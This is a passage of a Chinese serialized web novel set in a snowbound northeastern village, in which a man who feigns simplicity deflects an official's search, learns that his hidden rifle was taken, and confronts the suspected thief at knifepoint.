车队碾着积雪出了村口,往黑瞎子岭方向开。
杨林松侧头瞅了眼车窗外头那面小镜子,村口那二十多个便衣,已经缩成了一堆小黑点。
------
车开了六七里地,山路窄得跟裤腰带似的,积雪厚得车轮直打滑,越开越费劲。
到一片枯树林子边上,头车熄了火。
郑少华下了车,呢帽压得溜低,往山里望了望。
远处的山脊线灰蒙蒙一条,风刮得枯枝嘎嘎作响,听着瘆人。
“还有多远呐?”
杨林松往山里指了指:“翻过那道梁,再走半个钟头就到了。”
郑少华瞅了眼手表,回头扫了圈身后的人,冲后头挥了挥手:“留三个人看车,其余的跟上。”
三个便衣被留了下来。
杨林松心里默默盘了盘:进洞的有七个便衣加郑少华,看车的三个,村里还有二十多个。
三伙人,中间全靠两条腿连着。
从洞口跑到停车的地方,得半个钟头。
从停车的地方赶回村,又得小半个钟头。
一来一回,光跑路就得两个钟头——够使了。
他往村子方向瞅了一眼,心里琢磨:
大队部那边,该忙活的指定已经忙活上了。
------
一行人踩着积雪往山里走。
杨林松走最前头带路,郑少华跟在半步后头,步子不紧不慢,呼出的白气一团接一团。
王大炮和周铁山被夹在队伍后段,两边的便衣半步不离,说是“保护”,鬼都不信。
王大炮脸上的肉一抽一抽的,腮帮子鼓得跟塞了俩核桃似的。
他肋巴骨的伤还没好透,走得慢,一帮人只能跟着磨蹭。
本来半个钟头的路,硬生生走了快一个钟头。
------
洞口到了。
杨林松脚步顿了一下。
黑瞎子的尸首还趴在那儿,新下的雪又盖了厚厚一层,轮廓都快瞅不清了,就一小截黑黢黢的皮毛从雪里露出来。
郑少华也看见了,眯起眼:“这是啥玩意儿?”
“黑瞎子。”杨林松声音闷闷的,“守洞的。前几天跟土匪干仗,没挺过来。”
郑少华盯着那堆雪瞅了三秒,嘴角撇了撇,没吱声,挤进了洞。
杨林松跟上去,经过那堆雪的时候,脚步慢了半拍。
胸口那颗熊爪牙贴着皮肉,凉丝丝的。
------
坑道里黑咕隆咚的,手电光劈开一团一团的黑,打在石壁上来回晃。
脚底下全是碎石渣,踩一步响一声,在洞里闷乎乎回荡。
郑少华走得不快,可眼珠子一刻没闲着。
每过一个岔道口,他都停下来,拿手电照了又照。
两边的石壁、顶上的铆钉坑、地上的碎石子,一处都不落。
这哪儿是走马观花,分明是在搜山。
杨林松跟在旁边,腰弯着,脖子缩着,一副被吓傻了的怂样。
走到第二个弯的时候,郑少华猛地停住。
手电光死死定在前方那堵被砸开的墙上。
豁口半人来高,边缘毛毛糙糙的,红砖碎渣和水泥块散了一地,豁口后头黑咕隆咚的,手电照不到底。
“这咋回事?”
杨林松心口咯噔一下,可脸上的表情一点没变,还是那副傻愣愣的样子:
“前阵子俺们进来看的时候,就这模样了,那帮土匪全死在这儿了。”
郑少华没接话,盯着那个豁口,手电光慢慢往里移。
先照到配电室里那堆废铁疙瘩,光柱接着往里走,落在了东南角的墙面上。
那堵墙看着挺完整,可仔细瞅,边缘有好几处新鲜的刮痕。
白茬子在满墙灰扑扑的旧渍里,亮得扎眼。
郑少华的脚步顿了一拍。
就一拍。
眼皮子微微一抬,嘴角那条笑纹没了,可转瞬就描了回去,跟啥都没看见似的。
然后迈步往豁口走。
杨林松站在原地,手心全是汗。
豁口后头就是核心库的入口,沈雨溪他们
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砸开撬动的痕迹,全在里头藏着呢。
他再往里走三步,就得露馅。
就在这时候,身后传来急促的脚步声。
一个便衣和一个民兵从坑道口方向跑进来,喘得上气不接下气,脚步在碎石上踩得噼里啪啦响。
那便衣快步凑到郑少华耳边,压着嗓门说了几句。
郑少华的脸变了。
变化不大,还是那条笑纹。
他转过身,手电光直直打在杨林松脸上。
杨林松条件反射,眯了眯眼,一脸被光照傻了的茫然。
“里头你们进去过没?”
杨林松使劲摇头,表情无辜得不能再无辜。
“土匪都死在这儿了,里头黑咕隆咚的,说不定还有机关,俺们没敢往里走。”
郑少华盯着豁口又瞅了三秒,手电光在那几道新鲜刮痕上停了一下,就一下,然后移开了。
“先出去。”
出去?不进了?
杨林松心里琢磨着。
郑少华已经转身往外走了,脚步比来时快了一倍还多。
便衣们赶紧跟上,队形一下子从松散变成了小跑。
杨林松跟在后头,脸上傻愣愣的,心里却门儿清。
村里出事了。
------
村口。
黑皮正带着几个民兵跟留守的便衣掰扯呢。
按杨林松走之前嘱咐的,他得搞点动静,把郑少华从洞里拖回来。
动静不能太小,小了人家不当回事。
也不能太大,大了收不了场。
他挑了个最管用的由头:巡逻路线被便衣的卡车堵死了,民兵出不去,没法干活。
几个庄稼汉嗓门一个赛一个高,跟便衣吵成了一锅粥。
吵归吵,火候拿捏得刚好。
不上手、不动家伙,就光嗓门大,占着理呢。
正吵得热闹,挤过来个人。
张桂兰。
天刚亮她就听见风声了,省里来了大领导,车队停了半条村道。
这回她不找公社了,直接找“省里领导”告状。
“我要见领导!”
她一屁股墩在雪窝子里,拍着大腿就嚎上了:
“我有重要情况汇报!那个杨林松私藏枪支!军用步枪!就在他家炕洞里!我亲眼瞅见的!亲手摸的!”
黑皮心里咯噔一下,头皮都炸了。
他搞的动静,是按杨林松的嘱咐来的,可控可收。
可张桂兰这一出,压根不在计划里!
她说的那杆枪,多半是真的。
要是那把枪真搁在炕洞里……
这把火可倒好,比他点的旺了十倍还多,可烧得太旺,连自己人都得搭进去!
黑皮攥了攥拳头,指节咯嘣响了两声,肩头的伤口还在往外渗血。
第140章 她的笑僵在脸上
黑瞎子岭。
郑少华一行人拱出洞口,冷风呼呼地兜头灌下来,冻得人脖子一缩。
郑少华没停脚,迈开步子往下走。
杨林松紧跟在后头,七个便衣小跑着往上撵。
王大炮和周铁山被夹在中间,一个直喘粗气,一个咬着后槽牙,谁也没吭声。
下山的路比上去快多了,脚底下一滑一滑的,反倒省劲儿。
到了停车的地方,郑少华站住了。
他瞅了眼手表,又抬头,眼神直勾勾盯在杨林松脸上:
“杨同志,照你说的,这一来一回该走一个钟头,可现在?”
杨林松挠了挠后脑勺,咧着嘴傻笑:“这不大炮叔拖后腿嘛,再说这山里路难走,雪又厚,可不就走得慢嘛。”
“你……”王大炮瞪了杨林松一眼,气鼓鼓的。
郑少华盯着杨林松看了两秒,没再追问,拉开车门上了车。
上车前,他回头扫了眼熊神洞方向。
就一眼,快得跟没瞅似的。
可杨林松瞅见了。
这一眼里头藏的玩意儿,比说一百句话都多。
杨林松低头钻进后座,脸上的笑一下子收了。
村里到底闹成啥样了?
------
车轮碾着积雪,发动机闷声闷气响着,往村里开。
快到村口时,杨林松往前一探头,心里咯噔一下。
村口围了一堆人。
张桂兰坐在雪窝子里,头发散了一半,棉袄扣子掉了两颗,跟刚打完一场硬仗似的,狼狈又亢奋。
见车来了,她猛地蹿起来,两条腿跟上了发条似的,直奔这边扑过来。
郑少华刚下车,她就冲上来一把攥住他袖子,死活不撒手:
“领导!你信我!枪就在他家炕洞里!我带你去!”
郑少华低头看着她的手,没挣开。
转过头,目光落在随后下车的杨林松身上,嘴角撇了一下。
“杨同志,你家离这儿不远吧?一起过去瞅瞅?”
杨林松心里猛地一沉。
他想起来了。
山里枪声响的那天晚上,他走得急,后来事儿一桩接一桩,土坯房的门就没锁过。
那把莫辛-纳甘,用油布裹着,妥妥当当搁在炕洞的破木箱里,一点儿没动。
他脸上还带着那股憨笑,点了点头。
“行,郑组长想去,咱就去。”
------
一群人往土坯房走。
张桂兰走在最前头,步子生风。
那得意劲儿,压都压不住,嘴角翘得老高,下巴扬得老高。
八辈子没这么扬眉吐气过。
杨林松跟在后面,脸上没啥表情,脑子里把各种可能盘了三遍。
那把枪确实在炕洞,张桂兰说得这么笃定,指定是进去过,亲眼瞅见,亲手摸过。
想耍赖?门儿都没有!
可认?咋说?
不认?又咋圆?
没琢磨出辙来。
------
门没锁。
张桂兰一把推开门,直奔炕洞。
蹲下去伸手就掏,连拖带拽把那个破木箱子扯了出来。
箱盖一掀。
张桂兰的笑僵在脸上。
箱子里头,就剩一张油布,乱糟糟团在底下。
枪没了!
杨林松心里又猛地一震。
张桂兰愣了三秒,趴下去把箱子翻过来倒过去,油布抖了又抖,灰尘扬了一脸。
啥也没有。
她又把整条胳膊捅进炕洞,拼命往里掏,掏出一手灰。
还是啥也没有。
“不可能!”
她回过头,脸都歪了,嗓子扯得尖尖的:
“我亲眼看见的!就在这儿!这个破木箱子里!油布包着的!”
杨林松站在原地,挠了挠头,一脸茫然地凑过去,往空箱子里瞅了瞅:
“大伯娘,你找啥呢?这箱子我一直用来装干粮,咋会有枪啊?”
张桂兰扑上来要揪他领子,被两个便衣一左一右架住了。
她死命挣扎,嗓子喊得都破音了:
“你们搜!再搜!肯定藏别处了!这傻子把枪转移了!”
两个便衣把屋里翻了个底朝天。
炕上的褥子全给掀了,柜子门拽得嘎嘎响,灶台底下扒得全是灰,连搪瓷碗都翻了个个儿。
还是啥也没有。
郑少华站在门口,把这一幕从头看到尾。
他脸上那笑还挂着,可眼睛里啥表情都没有。
他慢慢走进屋,走到炕洞边,弯腰往里瞅了一眼。
空的。
直起身,目光又落在杨林松身上。
杨林松挠了挠头:“郑组长,我是真不知道她说啥枪。她是我大伯娘,脑子一直不太灵光,您别跟她一般见识。”
郑少华盯着他看了三秒,突然笑了。
那笑,让人后脊梁一阵一阵发紧。
“杨同志,你们村的人……”
他顿了一拍,慢悠悠接着说:
“脑子都不太灵光?”
杨林松憨憨地点头:“乡下人嘛,没见过啥世面。”
郑少华没再说话,转身往外走。
走到门口,脚步顿了一下,回头看了张桂兰一眼。
就一眼。
张桂兰浑身一哆嗦,两腿一软,直接瘫在地上了。
“带回去,慢慢
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问。”
郑少华扔下这句话,迈了出去。
天已经擦黑了。
他站在村道上扫了圈四周,拢了拢大衣领子:
“这地方没地儿歇,我回县招待所。”
他转头冲身后的便衣抬了抬下巴。
“留一辆车,十个人,盯着这儿。”
说完往前走了两步,又停住,回过头,声音不高不低,每个字都清清楚楚。
“把这婆娘的事儿处理利索,我再回来。”
------
三辆吉普和一辆卡车的尾灯亮起来,碾着积雪往村外开。
红光在雪地上拖了两道长长的印子,越来越远,越来越小,最后叫黑暗吞了。
另一辆卡车和十个便衣留在村口,跟钉在那儿似的,一动不动。
杨林松站在土坯房门口,盯着尾灯消失的方向,心里犯琢磨。
周铁山和王大炮不知啥时候站到了他身后。
王大炮压低嗓门:“那枪呢?咋没了?”
杨林松摇了摇头:“不知道。”
周铁山皱着眉,声音压得更低:“你藏了枪,咋不跟我吱一声?”
顿了一下,又瞅着王大炮补了一句:“还有你大炮,你也替他瞒着?”
王大炮没说话,杨林松也没吭声。
他脑子里把藏枪的始末盘了一遍:
周铁山来村里以后,他就把枪藏进了炕洞,再没动过那个箱子。
上回杨大柱和赵四偷他的钱票和虎皮,也是趁他不在家翻的炕。
赵四?
胳膊被他整废了以后,这阵子压根没露过面。
再说戒严好几天了,邻村的人也进不来。
那就只剩一个人。
杨大柱。
可那怂货,连看见他磨刀都吓得从墙头上摔下去,上次要不是赵四撺掇,他哪有胆子偷东西?
更别说碰枪了。
杨林松眯了眯眼,把这个念头硬生生压下去。
没凭没据的事儿,先不急着下结论。
当务之急,是郑少华留下的那十个便衣。
还有他那句“我再回来”。
他转身进屋,把油布叠好,把箱子推回炕洞。
周铁山跟进来,把门带上了。
三个人蹲在黑咕隆咚的屋里,没点灯。
王大炮先开了口,声音压得死死的:
“那姓郑的留下一车子人,明摆着就是监视咱!现在咋整?”
“今天没让他进着核心区,已经算是烧高香了。林松,你说下一步咋弄?”
周铁山话音刚落,门外传来敲门声。
笃笃笃。
不是两短一长,也不是两长一短,是陌生的节奏。
第141章 枪……是我拿的
匕首攥在右手,刺尖朝下。
紫杉木大弓和三棱刺太扎眼,没带身上。郑少华进村之前,就被杨林松塞进了大队部柴房的草垛底下。
后背贴死门框,左手搭在门闩上,五根指头松松搁着,没使劲。
但随时能发力。
敲门声停了三秒。
又响起来,节奏乱糟糟的,不是任何一个人的暗号。
杨林松左手一拨门闩,右脚往后撤了半步,身子侧过去,门缝只让出一条线。
门开了。
杨金贵。
满脸的鼻涕冻成了冰碴子,棉袄扣子一颗没系,敞着怀,里头的秋衣皱巴巴的。
他抖得厉害,两条腿打架,站都站不稳当。
杨林松右手一翻,匕首顺着袖口滑进去。
“咦?大伯!你咋知道我在这儿?”
杨金贵嘴唇哆嗦,半天才挤出一句囫囵话:
“我……我在自家窗户后头瞅见的,一帮人进了你屋,听见翻箱倒柜的响动。后来你大伯娘被人塞上车拉走了,我就……就摸过来了。”
杨林松没接话。
目光往下落了一眼。
杨金贵的棉鞋面上,雪只盖了薄薄一层,鞋帮子还没湿透。
脚趾头在鞋里缩着,冻得发僵,但还没到那种在外头杵了半个钟头以上的僵法。
他刚到不久。
没偷听到实质内容。
杨林松往旁边让了让:“进来吧,外头冷。”
------
杨金贵进了屋,腿一软就蹲在了门边。
没人给他搬凳子。
杨林松点着了煤油灯,豆大的火苗晃了两下,屋里总算亮堂了些。
王大炮靠在桌沿上,胳膊抱着,脸拉得老长。
周铁山站在窗户边,手插在大衣兜里,没吭声。
杨金贵蹲在地上,两手搓着膝盖,声音又碎又急:
“大队……大队长,你得帮忙啊。桂兰被人带走了,我得去县城找人。公社供销社有个远房表亲,县粮站还有个以前一起扛活的老伙计,我去求他们,看能不能打听打听……”
王大炮背着手,嗓门压得又低又哑:
“哼!早干啥去了?你们两口子整天折腾侄子的时候,咋不想想有今天?”
杨金贵嘴张了张,没敢接。
“活该。”
这俩字砸下来,杨金贵整个人缩了一圈。
他蹲在地上,拿袖子抹了把脸,鼻涕和眼泪糊在一块儿。
不是装的。
是真怕老婆回不来了。
可杨林松瞅得清楚。
他搓膝盖的手,手指头一直在往自己兜口的方向蹭。
不是冷的,是下意识护着兜里的东西。
怕老婆是真的。
怕自己被牵连,更真。
杨金贵又嘟囔了一句:“那婆娘说啥枪不枪的,我也纳闷,可我劝不动她,她非要去告发立功……”
杨林松站在旁边,脸上挂着那副傻愣愣的表情,心里头连个波澜都没起。
这对夫妻的德行,他比谁都门儿清。
张嘴就是一半真一半假,不值当费脑子分辨。
周铁山侧过身,凑到王大炮耳边,声音压得只有两个人能听见:
“不能让他出村。村口十个便衣盯着,戒严期间社员外出,动静太大。万一这老头到了县城乱嚼舌头,把咱的底兜出去,后果不堪设想。”
杨林松耳朵尖,一个字没漏。
眼皮子耷拉着,心里已经转了一圈。
他突然扯着王大炮的袖子不撒手了,嗓门拔高,带着股小孩耍赖的劲儿:
“大炮叔!大伯娘是坏人,可大伯是我爹的亲哥呀!你让大伯去找大伯娘嘛!他又不惹事!”
王大炮一脸无奈,想骂又不好骂。
杨林松不依不饶,一巴掌拍在桌面上,搪瓷缸子蹦了一下:
“大伯对我好!小时候给我吃过一回白面馒头!”
杨金贵愣了。
他从没给过杨林松白面馒头。
可这会儿,他不敢反驳,也没法反驳。
嘴唇哆嗦了两下,眼眶红了。
周铁山皱起眉,刚要开口。
王大炮盯着杨林松看了三秒。
他跟这小子搭伙这么久,门儿清。
杨林松在杨金贵面前才故意装傻,他坚持放人,一定有他的道理。
放出去一个杨金贵,郑少华那边的人会怎么接招,反倒能试出点东西来。
“行。”
------
一行人往大队部走。
刚到杨家大院门口,杨大柱就跌跌撞撞冲出来,扯着他爹的衣角不撒手:
“爹!我也要去!我也要去找我妈!”
杨金贵一巴掌拍他后脑勺:
“胡闹!大晚上的你跟着添啥乱!”
杨大柱不撒手,直接往地上一坐,两条腿蹬着雪地,嗷嗷哭:
“我要去!你们都不管我妈!我要去!”
棉鞋蹬掉一只,鼻涕糊了满脸,嗓子扯得跟杀猪似的。
杨林松站在旁边,脸上还挂着傻笑。
别的没学会,这套撒泼打滚倒是跟他妈学了个十成十。
王大炮被烦得太阳穴直跳:
“大晚上嚎啥!村口还有人盯着呢!再嚎把那帮便衣招来,到时候连你一块儿抓了去,你就消停了!”
他往村口方向一抬下巴。
杨大柱顺着看过去,村口几个人影正往这边张望。
嚎声收住了,嘴还张着。
可他死活不肯回家:“一个人在家,我害怕。”
周铁山冷着脸:“那就去大队部呆着,起码有
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个炉子,饿不着冻不着。但不许出门,不许乱跑。”
杨大柱抽抽搭搭答应了,跟着众人往大队部走。
杨林松走在最后头,回头瞅了一眼杨家大院。
黑咕隆咚的,一点灯光都没有。
杨大柱这怂货说怕,倒不全是装的。一家三口散了架,剩他一个,搁他准得慌。
-----
大队部办公室。
王大炮从抽屉里翻出一张空白条子,趴桌上写。
“理由就写……家中断粮,需往供销社采办米面。出了村你老实点,别到处乱嚼舌头根子。天亮再走,大晚上的那帮人不会放行。”
白纸黑字,红星大队的公章盖上去,啪的一声。
杨金贵接过条子,手抖得差点没拿住。
杨林松凑过去,傻乎乎地嘱咐:“大伯,路上小心,别摔着。给大伯娘带句话,让她别怕。”
演得情真意切。
杨金贵出门前回头看了杨大柱一眼。那哆嗦样子,留在大队部确实比一个人在家稳妥。
欲言又止,最后只说了句:“在这儿老实呆着,别给人添麻烦。”
杨大柱缩在角落的凳子上,小声嗯了一下。
杨金贵走了。
------
杨金贵前脚出了院门,沈雨溪、老刘头、黑皮、阿三后脚就从后院摸了进来。
黑皮右肩缠着布条,洇红了,颜色发暗。
他靠在门框上,但站得稳当,腰板没塌。
王大炮挥了挥手,冲杨大柱扬了扬下巴:“去里屋值班室呆着去。”
杨大柱不动弹:“我不去,那边冷,我想在炉子边上烤火。”
周铁山没那个耐性了,脸一沉,声音压得又低又硬:
“你给我进去。我们有正事要谈,闲杂人等回避。”
杨大柱哆嗦了一下,可还是没动。
他的眼珠子在屋里七个人脸上转了一圈,嘴唇动了两下。
周铁山正要发火。
杨大柱突然开口了。
声音跟蚊子哼哼似的,细得几乎听不见:
“我……我也有正事要说。”
屋里一下子静了。
王大炮、周铁山、杨林松,三个人的目光齐刷刷落在他身上。
沈雨溪刚端起搪瓷缸子,手顿住了。
老刘头眯起眼。
黑皮靠在门框上没动,但伤臂下意识往身侧收了收。
杨大柱把脑袋缩进领子里,整个人蜷成一团,两只手绞着棉袄下摆。
沉默了五六秒。
炉膛里的柴火崩了一下,啪的一声,火星子蹦出来,落地上灭了。
谁都没吭声。
杨大柱的喉结上下滚了两回,嗓子眼里挤了半天,才挤出一句话:
“那个……那个枪……是我拿的。”
第142章 枪没了
王大炮猛拍桌子,站起身:“你说啥?!”
搪瓷缸子蹦起来,茶水泼了半桌。
杨大柱吓得从凳子上出溜下去,半跪在地上,浑身颤抖,两只手死死抓着凳子腿。
杨林松没动。
脸上那层傻笑一点一点褪干净了,眼睛慢慢眯起来,盯着杨大柱。
炉膛里的火光映在他脸上,一明一暗,一明一暗。
周铁山抬手按住王大炮的肩膀,把他往回摁了半步。
然后自己走到杨大柱跟前,蹲下来。
声音极低极慢,跟审犯人一个调子:“什么时候拿的?”
杨大柱的牙齿磕得咯咯响,话从牙缝里往外挤,断断续续的。
“两天前……”
“我妈翻炕洞的时候发现了那把枪,当晚就跟我说了……”
杨大柱吸了口鼻涕,声音越来越碎。
“第二天一大早,趁着民兵在后山巡逻,我妈拉着我就往公社跑……”
“公社那边收……收了状子……人家说……让我们回去等着,会派人来调查。”
“然后就……就没下文了。”
“我就寻思着……既然公社不管了,现在世道这么乱,村里天天打打杀杀的……有把枪防身……那该多好……所以就……”
王大炮差点一脚踹过去:“你他娘的……”
周铁山一把拽住他。
手劲不小,王大炮的袖子都皱了。
“接着说,枪现在在哪?”
“我趁我妈不注意,自己溜进那屋,把枪从炕洞里抱出来了。”
杨大柱的眼泪下来了,鼻涕糊了满嘴,声音带着哭腔。
“沉甸甸的,我差点没抱住……抱在怀里,硬邦邦硌得慌,心里头突突直跳。”
“本来想藏自个儿家里,可我爹我妈都在屋呢,让他们瞅见还了得?我妈那嘴,藏不住半点事儿。”
"就……就抱着枪在屋外瞎晃悠,想找个……找个背人的地方藏起来。"
“然后呢?”
周铁山的声音没有任何起伏。
杨大柱的哭声突然卡住了。
他咽了口唾沫,喉结上下滚了两回,脸上的血色一点一点往下褪。
“被……被人堵住了。”
屋里静了。
不是那种正常的安静,是所有人同时屏住呼吸的那种静。
炉膛里柴火崩裂的声响一清二楚。
老刘头的眼睛彻底睁开了。
沈雨溪把搪瓷缸子轻轻搁在桌上,没发出一点声响。
“谁?”
杨林松开口了。
就一个字。
声音不大,可屋里的温度又往下掉了几度。
杨大柱哆嗦着,话说得颠三倒四,周铁山问一句他答一句,拼了半天才拼出个完整的画面。
一个人。
戴着棉帽子,围巾捂到眼睛底下,看不清脸。
个头不高,但壮实,肩膀宽,站在那儿跟堵墙似的。
说话带口音,不像本地人。
那人没动手。
就站在他面前,说了一句话。
“把枪给我,你全家没事。不给,今晚你家的房子就点了。”
杨大柱当场就软了。
腿一哆嗦,枪递过去,那人单手接了,掂了掂,转身就走。
从头到尾不到一分钟。
杨林松:“你看清他往哪个方向走的?”
杨大柱连忙摇头:“雪……雪太大了,一转眼就看不见了。”
杨林松:“他说话啥特征?”
杨大柱想了半天,眉头拧成一团,嘴唇翕动了好几下。
“那人说话舌头打卷儿,跟咱这嘎达的人不一个味儿。”
他学了一嘴,把“枪”字咬得又圆又绕,尾巴往上翘着收。
“就这个调调,听着像南边来的。”杨林松低声说。
屋子里安静了整整五秒。
杨林松和周铁山对视一眼。
南方口音。
郑少华带来的便衣里,有南方人。
枪落到了郑少华的人手里。
众人从头凉到脚底板。
杨大柱趴在地上,脑袋埋在胳膊里,肩膀一耸一耸的,指甲抠进地面
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的砖缝里,已经吓得说不出整句话了。
没人看他。
没人骂他。
这会儿骂也没用了。
周铁山站起身,膝盖咔嗒响了一声。
他走到窗边,背对着所有人,两只手插在大衣兜里,肩膀绷得死紧。
沉默了几秒,他开口了,声音发涩:
“这条枪要是被姓郑的攥在手里,就是一根钉在咱们脚面上的钉子。他啥时候想动,啥时候就能拔出来捅咱一刀。”
王大炮接了一句。
每个字都沉甸甸的:“莫辛-纳甘,制式步枪。不是猎枪,不是土铳。这玩意儿要是跟前头那帮特务的武器一对上号……”
他没说完。
不用说完。
私藏制式步枪,跟缴获的敌特武器同源。
往轻了说,窝藏军火。
往重了扣,通匪,通敌。
搁在这个年月,够枪毙三回的。
老刘头靠在墙根,慢慢吐出一口气,挤出一句:
“这帮人,好手段,不费一枪一弹,拿了根绳子就把咱脖子套上了。”
杨大柱还趴在地上,浑身缩成一团,牙帮子咬得咯咯响。
谁也不拿正眼瞅他。
杨林松走到窗边,往外看了一眼。
村口那辆卡车的灯还亮着,光柱打在雪地上,十个便衣的影子晃来晃去。
他把手探进衣襟,摸到了那颗贴着心口的熊爪牙。
凉丝丝的。
没人说话。
杨林松转身,往后门走。
周铁山喊住他:“去哪儿?”
杨林松没回头,声音从门口飘进来:
“拿酒去。”
周铁山一愣:“这时候你还有心思喝酒?”
杨林松没说话,也没回头。
门开了。
冷风灌进来,炉火晃了两下。
等门关上,屋里的人面面相觑。
王大炮挠了挠头:“他……他这是想干嘛?”
周铁山盯着那扇门,沉默了三秒,忽然笑了。
“瞧吧,怕是这傻劲又要上来咯。”
第143章 不是我,都怪酒
冷风兜头灌下来,把后门拍得嘭嘭响。
杨林松站在院子里,深吸了一口气,肺叶子冻得发紧。
吱呀一声,后门开了。
是沈雨溪。
杨林松侧过头,身上那股冷冽劲儿收了收:
“正好,整点吃的,饿透了。”
沈雨溪脚步顿了一拍。
枪丢了,郑少华留十个便衣钉在村口,张桂兰被拎走,杨大柱还瘫在屋里。
火都烧到裤腰带了,还有心思吃?
可她没问。
跟杨林松搭伙这么久,她摸出条铁律:
这人越是不慌不忙喊饿,越是要出大事。
上回他说饿,转天就把土匪连窝端了。
沈雨溪转身进了后厨。
灶膛里还有余火,添两把柴,架上铁锅。
棒子面是现成的,她从水缸舀半瓢水,搅成糊糊倒进去。
昨天剩的窝头搁锅沿上热着,没多会儿,粥熬开了,面上浮着一层厚厚的米油,热气直蹿。
杨林松就在旁边瞅着,啥也不说啥也不动。
这姑娘又能干又有学问,等这笔账了结,指定得去提亲。
瞅着沈雨溪把粥往搪瓷盆里倒,王大炮进来了。
这老头子在屋里坐不住,肋巴骨的伤还没好利索,走路一瘸一拐,可嘴上不饶人:
“你小子到底想干啥?有话痛快说!别跟我打哑谜!”
杨林松没接话。
王大炮伸手想拿个窝头垫肚子,被他一巴掌扒拉回去:
“别动。”
王大炮的手悬在半空,腮帮子的肉抽了一下,差点没气乐。
杨林松顺手从墙角拎起两瓶白酒揣进兜,又从锅沿拿了个窝头,热乎乎的攥在手里。
转身往外走时,脸上那股精明劲儿唰地收了,傻乎乎的笑又爬上来,跟换了张脸似的。
王大炮皱着眉,嗓门压到最低:
“你上哪儿去?”
杨林松没回头,声音憨得很:
“那几个叔在村口冻着呐,给他们送点热乎的。”
王大炮张了张嘴,愣在原地.
这小子葫芦里卖的啥药?
沈雨溪站在灶台边,手里还攥着铁勺,盯着他的背影消失在院门口,慢慢把勺子搁下,手心全是汗。
------
雪还在下。
杨林松揣着酒往村口走,脚底下一滑一跐溜,身子晃得跟喝大了似的,活像个冻傻了的愣头青。
村口那辆卡车的大灯还亮着,光柱打在雪地上,白花花晃眼。
几个便衣缩在车厢后头,跺脚搓手,冻得鼻尖通红,嘴里的白气一团接一团。
脚步声一响,哗啦几声枪栓拉动的脆响,黑洞洞的枪口齐刷刷抬起来。
杨林松站住了,肩膀往里缩,吸溜了一下鼻涕,浑身直打哆嗦。
等看清是白天跟他们头儿进山的傻大个,领头的便衣才把枪口压下去,一脸不耐烦:
“你不是那个杨林松吗?大半夜的来这儿干啥?麻溜滚回去!”
杨林松没动,从怀里掏出那个窝头,热气还没散尽,玉米面的香味儿在零下三十度的风雪里一下子就蹿开了。
他把窝头掰成几块,傻笑着往前递:
“叔,垫垫肚子?刚热乎的。”
领头的便衣没接,可旁边一个年轻的咽了口唾沫,伸手拿了一块,塞嘴里嚼了三两下就造没了。
另外几个人的眼珠子跟着那块窝头转了一圈。
就那么几小块,一人分一口都不够塞牙缝。
可这一口下去,肚子里那股空落落的劲儿反倒翻上来,比刚才更饿了。
杨林松又从兜里掏出一瓶白酒,在灯光底下晃了晃。
瓶身反着光,酒液在里头荡来荡去。
“大队部食堂灶上还热着一大锅粥,窝头也管够。”
他缩着脖子,带着股讨好劲儿,“屋里有炉子,暖和。几个叔要不过去坐坐?”
在雪地里冻了一宿,又冷又饿,嘴里那点窝头渣子的余味还没散,肚子反倒叫得更凶了。
领头的便衣犹豫了三秒,一挥手:
“老六老七老八老九老十,你们留下看车,其余的跟我走!”
五个人蹲在卡车旁没动,另外五个跟着杨林松往大队部走。
杨林松颠颠地走在前头,步子散漫,两脚拖着雪往前蹚,可耳朵竖得跟兔子似的。
身后几个便衣压着嗓子说话,风大,听不真切。
其中一个人搓着手抱怨:
“这鬼地方冷得要死……”
那个“死”字,舌头打着卷儿,尾音往上翘。
跟杨大柱刚才学的调调,一模一样!
杨林松的瞳孔缩了一下,脚步没变,脸上的傻笑也没变。
------
大队部食堂里,五个人蹲在长条凳上,就着一碟咸菜疙瘩,狼吞虎咽地造窝头、灌粥。
搪瓷盆见了底,六个窝头一扫而空。
这帮人是真饿坏了。
杨林松靠在门框上,拧开一瓶酒,仰头灌了一口,嘴里含含糊糊嘟囔:
“好酒……真香……”
余光却死死盯在那个南方口音的人身上:
矮壮汉子,个头不高,肩膀宽得出奇,穿着厚棉袄蹲在那儿,跟堵墙似的。
吃东西的时候,右手始终不离腰间,左手拿窝头。
受过训练的人,吃饭都改不了这习惯。
杨林松多看了两眼,心里已经有数了。
矮壮汉子吃完了,搓着手凑过来,下巴往酒瓶上一点:
“兄弟,来一口?”
杨林松傻笑着,大大方方把酒递过去。
矮壮汉子接过去,仰脖灌了两大口,辣得直咧嘴,把酒瓶还回来时,拍了拍杨林松的肩膀:
“你这傻小子,人不赖。”
杨林松嘿嘿笑着,缩了缩脖子:“嘿嘿,叔你也不赖。”
------
酒劲混着热粥
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在胃里散开,几个人浑身暖和起来,起身往外走。
走到门口,矮壮汉子突然捂着小肚子站住了,打了个酒嗝:
“憋不住了,茅房在哪儿?”
旁边的同伴往后院一指:
“就墙根底下,自己解决去!”
四个人先走了,脚步声踩着雪,吱呀吱呀越来越远。
矮壮汉子转身往后院拐,杨林松晃晃悠悠地从门框上直起身,一脸傻笑地跟上去:
“我也尿泡尿!”
------
后院墙角黑咕隆咚的,风卷着雪花直打转,冻得人骨头疼。
矮壮汉子拐过墙角,骂骂咧咧地解裤腰带,嘴里还嘟囔:
“冻死人了!”
裤带刚松开,后脖梗子贴上一片冰凉。
不是风,是钢!
匕首的刃口压在跳动的颈动脉上,力道不大不小,刚好让皮肤感受到那层要命的凉意。
杨林松的声音从身后贴着他耳根飘过来,又低又冷,跟刚才那个嘿嘿傻笑的愣头青,压根不是一个物种:
“别动。动一下,脖子就漏气了。”
矮壮汉子浑身一僵,右手悬在半空,裤子差点滑进雪地里。
他眼皮撑紧,后背的肌肉绷紧,右胳膊肘往后一捣。
标准的近身反制动作,板板正正的,一看就练过。
没捣着。
杨林松左手扣住他右肩,五指嵌进关节缝,猛一拧。
咔嗒!
脆响过后,矮壮汉子的右臂使不上劲,整条胳膊耷拉下来。
痛感从肩窝里炸开,他张嘴要叫。
一只手已经死死捂住了他的口鼻,一丝气都漏不出去。
杨林松沿着墙根,把他往后院拖,脚步没发出半点声响。
院里没人,王大炮和沈雨溪也猜出了大概,打那五人朝大队部走来时,就老老实实在办公室里待着,没出来添乱。
柴房门一关,黑暗里只剩两个人粗重的呼吸声。
匕首还贴在颈侧,杨林松问:
“枪在哪儿?”
矮壮汉子的牙关咬得咯咯响,额头上的汗珠子在这大冷天里愣是冒了出来,一颗接一颗顺着眉骨往下淌。
杨林松没给他犹豫的工夫,匕首往下压了半分。
就半分,刃口割开一层皮,血珠子渗了出来。
“我再问一遍。”
